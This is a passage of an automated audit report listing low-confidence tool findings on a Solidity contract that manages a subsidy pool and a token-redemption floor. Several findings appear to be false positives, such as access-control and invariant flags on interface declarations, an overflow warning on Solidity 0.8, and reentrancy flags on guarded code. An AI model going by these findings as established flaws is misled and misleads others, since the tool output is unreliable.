Category	
CVSS Score	3.1
Confidence	57%
Location	0914_flatten_Contract_4.sol:120 (unknown)
Status	Open (57% conf.)
Detected By	aderyn

Description

Define and use `constant` variables instead of using literals. If the same constant literal value is used multiple times, create a constant state variable and reference it throughout the contract.

Vulnerable Code

```

115 |         unlocked_ = 1;
116 |     }
117 |
118 |     constructor(address _token, uint16 _subsidyBps, address _wirer) {
119 |         if (_token == address(0) || _wirer == address(0)) revert
ZeroAddress();
>> 120 |         if (_subsidyBps > 10_000) revert BadConfig();
121 |         TOKEN = ITremor(_token);
122 |         TOKEN_ADDR = _token;
123 |         SUBSIDY_BPS = _subsidyBps;
124 |         wirer = _wirer;
125 |     }

```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-010. literal-instead-of-constant

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	57%
Location	0914_flatten_Contract_4.sol:147 (unknown)
Status	Open (57% conf.)
Detected By	aderyn

Description

Define and use `constant` variables instead of using literals. If the same constant literal value is used multiple times, create a constant state variable and reference it throughout the contract.

Vulnerable Code

```

142 |         if (msg.sender != hook) revert NotHook();
143 |         uint256 accounted = uint256(subsidyPool) + floorPool;
144 |         if (address(this).balance < accounted + amount) {
145 |             revert Unfunded(address(this).balance, accounted + amount);
146 |         }
>> 147 |         uint128 toSub = uint128((uint256(amount) * SUBSIDY_BPS) / 10_000);
148 |         uint128 toFloor = amount - toSub;
149 |         unchecked {
150 |             subsidyPool += toSub;
151 |             floorPool += toFloor;
152 |             creditedEver += amount;

```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-011. fund_extraction

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	36%
Location	/home/hero/audit_workspace/0914_flatten_Contract_4.sol:183
Status	Open (36% conf.)
Detected By	pakala

Description

Funds can be extracted through a multi-step transaction sequence bypassing access controls

Vulnerable Code

```

178 |         if (msg.sender != market) revert NotMarket();
179 |         amount = subsidyPool;
180 |         if (amount == 0) return 0;
181 |         subsidyPool = 0;
182 |         unchecked { subsidisedEver += amount; }
>> 183 |         (bool ok,) = market.call{value: amount}("");
184 |         if (!ok) revert PayFailed();
185 |         emit SubsidyDrawn(market, amount);
186 |     }
187 |
188 |     // — 3.2 / 3.4 · the floor —————

```

Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

Recommendation

Add withdrawal limits, timelocks, and multi-sig for large transfers

References

- SWC-105
- OWASP Smart Contract Top 10

F-012. invariant_violation

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	36%
Location	/home/hero/audit_workspace/0914_flatten_Contract_4.sol:7
Status	Open (36% conf.)
Detected By	scribble

Description

Contract invariant may be violated - state constraint not maintained across transactions

Vulnerable Code

```

2 | pragma solidity =0.8.28;
3 |
4 | // src/Contract.sol
5 |
6 | interface ITremor {
>> 7 |     function totalSupply() external view returns (uint256);
8 |     function burnFrom(address from, uint256 v) external;
9 | }
10 |
11 | //
12 | //

```

Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

Recommendation

Add explicit invariant checks or use Scribble #invariant annotations

References

- OWASP Smart Contract Top 10

F-013. invariant_violation

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	36%
Location	/home/hero/audit_workspace/0914_flatten_Contract_4.sol:192
Status	Open (36% conf.)
Detected By	scribble

Description

Contract invariant may be violated - state constraint not maintained across transactions

Vulnerable Code

```

187 |
188 | // — 3.2 / 3.4 · the floor —————
189 |
190 | /// @notice ETH per whole TREMOR the floor pays right now, 1e18-scaled.
191 | function floorPerToken() public view returns (uint256) {
>> 192 |     uint256 s = TOKEN.totalSupply();
193 |     if (s == 0) return 0;
194 |     return (uint256(floorPool) * 1e18) / s;
195 | }
196 |
197 | /// @notice Burn TREMOR for a pro-rata share of the floor. Requires an

```

Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

Recommendation

Add explicit invariant checks or use Scribble #invariant annotations

References

- OWASP Smart Contract Top 10

F-014. invariant_violation

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	36%
Location	/home/hero/audit_workspace/0914_flatten_Contract_4.sol:202
Status	Open (36% conf.)
Detected By	scribble

Description

Contract invariant may be violated - state constraint not maintained across transactions

Vulnerable Code

```

197 |    /// @notice Burn TREMOR for a pro-rata share of the floor. Requires an
198 |    ///         allowance to this contract, which is one approval rather than
a
199 |    ///         transfer-then-trust.
200 |    function redeem(uint256 amount) external lock returns (uint128 ethOut) {
201 |        if (amount == 0) revert NothingToRedeem();
>> 202 |        uint256 supply = TOKEN.totalSupply();
203 |        if (supply == 0) revert NothingToRedeem();
204 |
205 |        ethOut = uint128((uint256(floorPool) * amount) / supply);
206 |        if (ethOut == 0) revert NothingToRedeem();
207 |

```

Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

Recommendation

Add explicit invariant checks or use Scribble #invariant annotations

References

- OWASP Smart Contract Top 10

F-015. precondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	36%
Location	/home/hero/audit_workspace/0914_flatten_Contract_4.sol:8
Status	Open (36% conf.)
Detected By	scribble

Description

Function precondition may not be properly enforced - inputs not validated

Vulnerable Code

```

3 |
4 | // src/Contract.sol
5 |
6 | interface ITremor {
7 |     function totalSupply() external view returns (uint256);
>> 8 |     function burnFrom(address from, uint256 v) external;
9 | }
10 |
11 | //
12 | //
13 | // | T R E M O
R |

```

Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

Recommendation

Add require() checks at function entry or Scribble #if_succeeds annotations

References

- SWC-123

- OWASP Smart Contract Top 10

F-016. precondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	36%
Location	/home/hero/audit_workspace/0914_flatten_Contract_4.sol:141
Status	Open (36% conf.)
Detected By	scribble

Description

Function precondition may not be properly enforced - inputs not validated

Vulnerable Code

```

136 |
137 | // — what comes in —————
138 |
139 | /// @notice Book a skim the hook has already delivered here. Refused
unless
140 | /// the ETH is present – see THE ONE INVARIANT.
>> 141 | function credit(uint128 amount) external {
142 |     if (msg.sender != hook) revert NotHook();
143 |     uint256 accounted = uint256(subsidyPool) + floorPool;
144 |     if (address(this).balance < accounted + amount) {
145 |         revert Unfunded(address(this).balance, accounted + amount);
146 |     }

```

Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

Recommendation

Add require() checks at function entry or Scribble #if_succeeds annotations

References

- SWC-123
- OWASP Smart Contract Top 10

F-017. precondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	36%
Location	/home/hero/audit_workspace/0914_flatten_Contract_4.sol:200
Status	Open (36% conf.)
Detected By	scribble

Description

Function precondition may not be properly enforced - inputs not validated

Vulnerable Code

```

195 |     }
196 |
197 |     /// @notice Burn TREMOR for a pro-rata share of the floor. Requires an
198 |     ///         allowance to this contract, which is one approval rather than
a
199 |     ///         transfer-then-trust.
>> 200 |     function redeem(uint256 amount) external lock returns (uint128 ethOut) {
201 |         if (amount == 0) revert NothingToRedeem();
202 |         uint256 supply = TOKEN.totalSupply();
203 |         if (supply == 0) revert NothingToRedeem();
204 |
205 |         ethOut = uint128((uint256(floorPool) * amount) / supply);

```

Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

Recommendation

Add require() checks at function entry or Scribble #if_succeeds annotations

References

- SWC-123
- OWASP Smart Contract Top 10

F-018. postcondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	36%
Location	/home/hero/audit_workspace/0914_flatten_Contract_4.sol:7
Status	Open (36% conf.)
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```
2 | pragma solidity =0.8.28;
3 |
4 | // src/Contract.sol
5 |
6 | interface ITremor {
>> 7 |     function totalSupply() external view returns (uint256);
8 |     function burnFrom(address from, uint256 v) external;
9 | }
10 |
11 | //
12 | //
```

Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

Recommendation

Add postcondition checks or Scribble #if_succeeds with old() references

References

- OWASP Smart Contract Top 10

F-019. postcondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	36%
Location	/home/hero/audit_workspace/0914_flatten_Contract_4.sol:160
Status	Open (36% conf.)
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```

155 |     }
156 |
157 |     /// @notice Hand any ETH sitting here that the books do not know about to
158 |     ///         the FLOOR. Permissionless. Someone who wants to donate to the
159 |     ///         holders simply sends ETH and calls this.
>> 160 |     function sync() external returns (uint128 credited) {
161 |         uint256 accounted = uint256(subsidyPool) + floorPool;
162 |         uint256 bal = address(this).balance;
163 |         if (bal <= accounted) return 0;
164 |         unchecked {
165 |             credited = uint128(bal - accounted);

```

Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

Recommendation

Add postcondition checks or Scribble #if_succeeds with old() references

References

- OWASP Smart Contract Top 10

F-020. postcondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	36%
Location	/home/hero/audit_workspace/0914_flatten_Contract_4.sol:177
Status	Open (36% conf.)
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```

172 | // — the subsidy —————
173 |
174 | /// @notice The market draws the whole standing subsidy into the pot it is
175 | /// settling. Roughly an epoch's fees, because that is how long it
176 | /// had to accumulate.
>> 177 | function drawSubsidy() external lock returns (uint128 amount) {
178 |     if (msg.sender != market) revert NotMarket();
179 |     amount = subsidyPool;
180 |     if (amount == 0) return 0;
181 |     subsidyPool = 0;
182 |     unchecked { subsidisedEver += amount; }

```

Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

Recommendation

Add postcondition checks or Scribble #if_succeeds with old() references

References

- OWASP Smart Contract Top 10

F-021. postcondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	36%
Location	/home/hero/audit_workspace/0914_flatten_Contract_4.sol:191
Status	Open (36% conf.)
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```
186 |     }
187 |
188 |     // — 3.2 / 3.4 · the floor —————
189 |
190 |     /// @notice ETH per whole TREMOR the floor pays right now, 1e18-scaled.
>> 191 |     function floorPerToken() public view returns (uint256) {
192 |         uint256 s = TOKEN.totalSupply();
193 |         if (s == 0) return 0;
194 |         return (uint256(floorPool) * 1e18) / s;
195 |     }
196 |
```

Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

Recommendation

Add postcondition checks or Scribble #if_succeeds with old() references

References

- OWASP Smart Contract Top 10

F-022. postcondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	36%
Location	/home/hero/audit_workspace/0914_flatten_Contract_4.sol:200
Status	Open (36% conf.)
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```

195 |     }
196 |
197 |     /// @notice Burn TREMOR for a pro-rata share of the floor. Requires an
198 |     ///         allowance to this contract, which is one approval rather than
a
199 |     ///         transfer-then-trust.
>> 200 |     function redeem(uint256 amount) external lock returns (uint128 ethOut) {
201 |         if (amount == 0) revert NothingToRedeem();
202 |         uint256 supply = TOKEN.totalSupply();
203 |         if (supply == 0) revert NothingToRedeem();
204 |
205 |         ethOut = uint128((uint256(floorPool) * amount) / supply);

```

Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

Recommendation

Add postcondition checks or Scribble #if_succeeds with old() references

References

- OWASP Smart Contract Top 10

F-023. postcondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	36%
Location	/home/hero/audit_workspace/0914_flatten_Contract_4.sol:223
Status	Open (36% conf.)
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```

218 |         emit Redeemed(msg.sender, amount, ethOut, floorPerToken());
219 |     }
220 |
221 |     // — the books —————
222 |
>> 223 |     function books() external view returns (uint256 held, uint256 owed, bool
ties) {
224 |         held = address(this).balance;
225 |         owed = uint256(subsidyPool) + floorPool;
226 |         ties = held == owed;
227 |     }
228 |

```

Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

Recommendation

Add postcondition checks or Scribble #if_succeeds with old() references

References

- OWASP Smart Contract Top 10

F-024. access_control_violation

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	36%
Location	/home/hero/audit_workspace/0914_flatten_Contract_4.sol:8
Status	Open (36% conf.)
Detected By	scribble

Description

Access control property may be violated - privileged function callable by unauthorized users

Vulnerable Code

```
3 |  
4 | // src/Contract.sol  
5 |  
6 | interface ITremor {  
7 |     function totalSupply() external view returns (uint256);  
>> 8 |     function burnFrom(address from, uint256 v) external;  
9 | }  
10 |  
11 | //  
  
12 | //  
13 | // | T R E M O  
R |
```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add access control modifiers and Scribble annotations for authorization

References

- SWC-105
- OWASP Smart Contract Top 10

F-025. state_invariant_break

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	36%
Location	/home/hero/audit_workspace/0914_flatten_Contract_4.sol:183
Status	Open (36% conf.)
Detected By	scribble

Description

State invariant may break during execution - intermediate state accessible via reentrancy

Vulnerable Code

```

178 |         if (msg.sender != market) revert NotMarket();
179 |         amount = subsidyPool;
180 |         if (amount == 0) return 0;
181 |         subsidyPool = 0;
182 |         unchecked { subsidisedEver += amount; }
>> 183 |         (bool ok,) = market.call{value: amount}("");
184 |         if (!ok) revert PayFailed();
185 |         emit SubsidyDrawn(market, amount);
186 |     }
187 |
188 |     // — 3.2 / 3.4 · the floor —————

```

Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

Recommendation

Follow Checks-Effects-Interactions pattern and use reentrancy guards

References

- OWASP Smart Contract Top 10

F-026. state_invariant_break

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	36%
Location	/home/hero/audit_workspace/0914_flatten_Contract_4.sol:216
Status	Open (36% conf.)
Detected By	scribble

Description

State invariant may break during execution - intermediate state accessible via reentrancy

Vulnerable Code

```

211 |         unchecked {
212 |             floorPool -= ethOut;
213 |             redeemedEver += ethOut;
214 |         }
215 |
>> 216 |         (bool ok,) = msg.sender.call{value: ethOut}("");
217 |         if (!ok) revert PayFailed();
218 |         emit Redeemed(msg.sender, amount, ethOut, floorPerToken());
219 |     }
220 |
221 |     // — the books —————

```

Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

Recommendation

Follow Checks-Effects-Interactions pattern and use reentrancy guards

References

- OWASP Smart Contract Top 10

F-027. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	20%
Location	/home/hero/audit_workspace/0914_flatten_Contract_4.sol:7
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

2 | pragma solidity =0.8.28;
3 |
4 | // src/Contract.sol
5 |
6 | interface ITremor {
>> 7 |     function totalSupply() external view returns (uint256);
8 |     function burnFrom(address from, uint256 v) external;
9 | }
10 |
11 | //
12 | //

```

Impact Analysis

Impact depends on exploitability; verify this finding against the source.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-028. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	20%
Location	/home/hero/audit_workspace/0914_flatten_Contract_4.sol:8
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```
3 |  
4 | // src/Contract.sol  
5 |  
6 | interface ITremor {  
7 |     function totalSupply() external view returns (uint256);  
>> 8 |     function burnFrom(address from, uint256 v) external;  
9 | }  
10 |  
11 | //  
  
12 | //  
13 | // | T R E M O  
R
```

Impact Analysis

Impact depends on exploitability; verify this finding against the source.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-029. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	20%
Location	/home/hero/audit_workspace/0914_flatten_Contract_4.sol:127
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

122 |         TOKEN_ADDR = _token;
123 |         SUBSIDY_BPS = _subsidyBps;
124 |         wirer = _wirer;
125 |     }
126 |
>> 127 |     function wire(address _hook, address _market) external {
128 |         if (msg.sender != wirer) revert NotWierer();
129 |         if (hook != address(0)) revert AlreadyWired();
130 |         if (_hook == address(0) || _market == address(0)) revert
ZeroAddress();
131 |         hook = _hook;
132 |         market = _market;

```

Impact Analysis

Impact depends on exploitability; verify this finding against the source.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-030. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO

PROPERTY	VALUE
Category	
CVSS Score	3.1
Confidence	20%
Location	/home/hero/audit_workspace/0914_flatten_Contract_4.sol:141
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

136 |
137 | // — what comes in —————
138 |
139 | /// @notice Book a skim the hook has already delivered here. Refused
unless
140 | /// the ETH is present — see THE ONE INVARIANT.
>> 141 | function credit(uint128 amount) external {
142 |     if (msg.sender != hook) revert NotHook();
143 |     uint256 accounted = uint256(subsidyPool) + floorPool;
144 |     if (address(this).balance < accounted + amount) {
145 |         revert Unfunded(address(this).balance, accounted + amount);
146 |     }

```

Impact Analysis

Impact depends on exploitability; verify this finding against the source.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-031. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1

PROPERTY	VALUE
Confidence	20%
Location	<code>/home/hero/audit_workspace/0914_flatten_Contract_4.sol:160</code>
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

155 |     }
156 |
157 |     /// @notice Hand any ETH sitting here that the books do not know about to
158 |     ///         the FLOOR. Permissionless. Someone who wants to donate to the
159 |     ///         holders simply sends ETH and calls this.
>> 160 |     function sync() external returns (uint128 credited) {
161 |         uint256 accounted = uint256(subsidyPool) + floorPool;
162 |         uint256 bal = address(this).balance;
163 |         if (bal <= accounted) return 0;
164 |         unchecked {
165 |             credited = uint128(bal - accounted);

```

Impact Analysis

Impact depends on exploitability; verify this finding against the source.

Recommendation

Add `#if_succeeds` annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-032. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	20%
Location	<code>/home/hero/audit_workspace/0914_flatten_Contract_4.sol:177</code>

PROPERTY	VALUE
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

172 | // — the subsidy —————
173 |
174 | /// @notice The market draws the whole standing subsidy into the pot it is
175 | /// settling. Roughly an epoch's fees, because that is how long it
176 | /// had to accumulate.
>> 177 | function drawSubsidy() external lock returns (uint128 amount) {
178 |     if (msg.sender != market) revert NotMarket();
179 |     amount = subsidyPool;
180 |     if (amount == 0) return 0;
181 |     subsidyPool = 0;
182 |     unchecked { subsidisedEver += amount; }

```

Impact Analysis

Impact depends on exploitability; verify this finding against the source.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-033. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	20%
Location	/home/hero/audit_workspace/0914_flatten_Contract_4.sol:191
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

186 |     }
187 |
188 |     // — 3.2 / 3.4 · the floor —————
189 |
190 |     /// @notice ETH per whole TREMOR the floor pays right now, 1e18-scaled.
>> 191 |     function floorPerToken() public view returns (uint256) {
192 |         uint256 s = TOKEN.totalSupply();
193 |         if (s == 0) return 0;
194 |         return (uint256(floorPool) * 1e18) / s;
195 |     }
196 |

```

Impact Analysis

Impact depends on exploitability; verify this finding against the source.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-034. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	20%
Location	/home/hero/audit_workspace/0914_flatten_Contract_4.sol:200
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

195 |     }
196 |
197 |     /// @notice Burn TREMOR for a pro-rata share of the floor. Requires an
198 |     ///         allowance to this contract, which is one approval rather than
a
199 |     ///         transfer-then-trust.
>> 200 |     function redeem(uint256 amount) external lock returns (uint128 ethOut) {
201 |         if (amount == 0) revert NothingToRedeem();
202 |         uint256 supply = TOKEN.totalSupply();
203 |         if (supply == 0) revert NothingToRedeem();
204 |
205 |         ethOut = uint128((uint256(floorPool) * amount) / supply);

```

Impact Analysis

Impact depends on exploitability; verify this finding against the source.

Recommendation

Add `#if_succeeds` annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-035. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	3.1
Confidence	20%
Location	/home/hero/audit_workspace/0914_flatten_Contract_4.sol:223
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

218 |         emit Redeemed(msg.sender, amount, ethOut, floorPerToken());
219 |     }
220 |
221 |     // — the books —————
222 |

```

```

>> 223 |     function books() external view returns (uint256 held, uint256 owed, bool
ties) {
    224 |         held = address(this).balance;
    225 |         owed = uint256(subsidyPool) + floorPool;
    226 |         ties = held == owed;
    227 |     }
    228 |

```

Impact Analysis

Impact depends on exploitability; verify this finding against the source.

Recommendation

Add `#if_succeeds` annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-036. ml_detected_vulnerability

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	51%
Location	0914_flatten_Contract_4.sol:0
Status	Open (51% conf.)
Detected By	dagmn

Description

Integer overflow/underflow vulnerability

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

Recommendation

Use Solidity 0.8+ or SafeMath library for arithmetic operations

References

- SWC-101
- OWASP Smart Contract Top 10

F-037. bad_randomness

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	50%
Location	unknown:?
Status	Open (50% conf.)
Detected By	smartbugs_ml

Description

ML model detected weak randomness source (block.timestamp or blockhash)

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

Recommendation

Use Chainlink VRF or commit-reveal scheme for randomness

References

- OWASP Smart Contract Top 10

F-038. integer_overflow

PROPERTY	VALUE
Severity	MEDIUM
Category	

PROPERTY	VALUE
CVSS Score	6.2
Confidence	22%
Location	unknown:?
Status	Open (22% conf.)
Detected By	smartbugs_ml

Description

ML model detected unchecked arithmetic operations

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Arithmetic overflow/underflow can cause balances to wrap around, enabling attackers to mint tokens or manipulate accounting. Solidity 0.8+ has built-in overflow protection, but unchecked blocks and assembly bypass this.

Recommendation

Use Solidity 0.8+ or SafeMath library for arithmetic

References

- SWC-101
- OWASP Smart Contract Top 10

F-039. Short Address Attack Vulnerability

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	48%
Location	/home/hero/audit_workspace/0914_flatten_Contract_4.sol:8
Status	Open (48% conf.)

PROPERTY	VALUE
Detected By	smartbugs_detector

Description

Function 'burnFrom' takes (address, uint) parameters without msg.data.length validation. Vulnerable to short address attack. Line 8.

Vulnerable Code

```

3 |
4 | // src/Contract.sol
5 |
6 | interface ITremor {
7 |     function totalSupply() external view returns (uint256);
>> 8 |     function burnFrom(address from, uint256 v) external;
9 | }
10 |
11 | //
12 | //
13 | // | T R E M O
R |

```

Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- SWC-129
- OWASP Smart Contract Top 10

F-040. reentrancy

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	36%

PROPERTY	VALUE
Location	0914_flatten_Contract_4.sol:183 (drawSubsidy)
Status	Open (36% conf.)
Detected By	peculiar

Description

Reentrancy vulnerability: external call precedes state update

Vulnerable Code

```

178 |         if (msg.sender != market) revert NotMarket();
179 |         amount = subsidyPool;
180 |         if (amount == 0) return 0;
181 |         subsidyPool = 0;
182 |         unchecked { subsidisedEver += amount; }
>> 183 |         (bool ok,) = market.call{value: amount}("");
184 |         if (!ok) revert PayFailed();
185 |         emit SubsidyDrawn(market, amount);
186 |     }
187 |
188 |     // — 3.2 / 3.4 · the floor —————

```

Impact Analysis

An attacker can recursively call the vulnerable function before state updates complete, draining contract funds in a single transaction. This is one of the most exploited vulnerability classes in DeFi (e.g., The DAO hack, \$60M lost).

Recommendation

Apply checks-effects-interactions pattern. Move all state changes before external calls, or use OpenZeppelin ReentrancyGuard modifier.

References

- SWC-107
- OWASP Smart Contract Top 10

F-041. reentrancy

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	36%

PROPERTY	VALUE
Location	0914_flatten_Contract_4.sol:212 (redeem)
Status	Open (36% conf.)
Detected By	peculiar

Description

Reentrancy vulnerability: external call precedes state update

Vulnerable Code

```

207 |
208 |         // burn FIRST, so the supply the next redeemer divides by is already
209 |         // reduced and the floor per token cannot be double-counted
210 |         TOKEN.burnFrom(msg.sender, amount);
211 |         unchecked {
>> 212 |             floorPool -= ethOut;
213 |             redeemedEver += ethOut;
214 |         }
215 |
216 |         (bool ok,) = msg.sender.call{value: ethOut}("");
217 |         if (!ok) revert PayFailed();

```

Impact Analysis

An attacker can recursively call the vulnerable function before state updates complete, draining contract funds in a single transaction. This is one of the most exploited vulnerability classes in DeFi (e.g., The DAO hack, \$60M lost).

Recommendation

Apply checks-effects-interactions pattern. Move all state changes before external calls, or use OpenZeppelin ReentrancyGuard modifier.

References

- SWC-107
- OWASP Smart Contract Top 10

F-042. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	36%

PROPERTY	VALUE
Location	0914_flatten_Contract_4.sol:200 (redeem)
Status	Open (36% conf.)
Detected By	peculiar

Description

Missing or insufficient access control on privileged function

Vulnerable Code

```

195 |     }
196 |
197 |     /// @notice Burn TREMOR for a pro-rata share of the floor. Requires an
198 |     ///         allowance to this contract, which is one approval rather than
a
199 |     ///         transfer-then-trust.
>> 200 |     function redeem(uint256 amount) external lock returns (uint128 ethOut) {
201 |         if (amount == 0) revert NothingToRedeem();
202 |         uint256 supply = TOKEN.totalSupply();
203 |         if (supply == 0) revert NothingToRedeem();
204 |
205 |         ethOut = uint128((uint256(floorPool) * amount) / supply);

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add access control modifiers (onlyOwner, role-based) to sensitive functions. Use OpenZeppelin AccessControl or Ownable.

References

- SWC-115
- OWASP Smart Contract Top 10

F-043. threat_model

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1

PROPERTY	VALUE
Confidence	36%
Location	0914_flatten_Contract_4.sol:7
Status	Open (36% conf.)
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

Vulnerable Code

```

2 | pragma solidity =0.8.28;
3 |
4 | // src/Contract.sol
5 |
6 | interface ITremor {
>> 7 |     function totalSupply() external view returns (uint256);
8 |     function burnFrom(address from, uint256 v) external;
9 | }
10 |
11 | //
12 | //

```

Impact Analysis

Anyone can call privileged function

Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

References

- OWASP Smart Contract Top 10

F-044. threat_model

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	36%

PROPERTY	VALUE
Location	0914_flatten_Contract_4.sol:127
Status	Open (36% conf.)
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

Vulnerable Code

```

122 |         TOKEN_ADDR = _token;
123 |         SUBSIDY_BPS = _subsidyBps;
124 |         wirer = _wirer;
125 |     }
126 |
>> 127 |     function wire(address _hook, address _market) external {
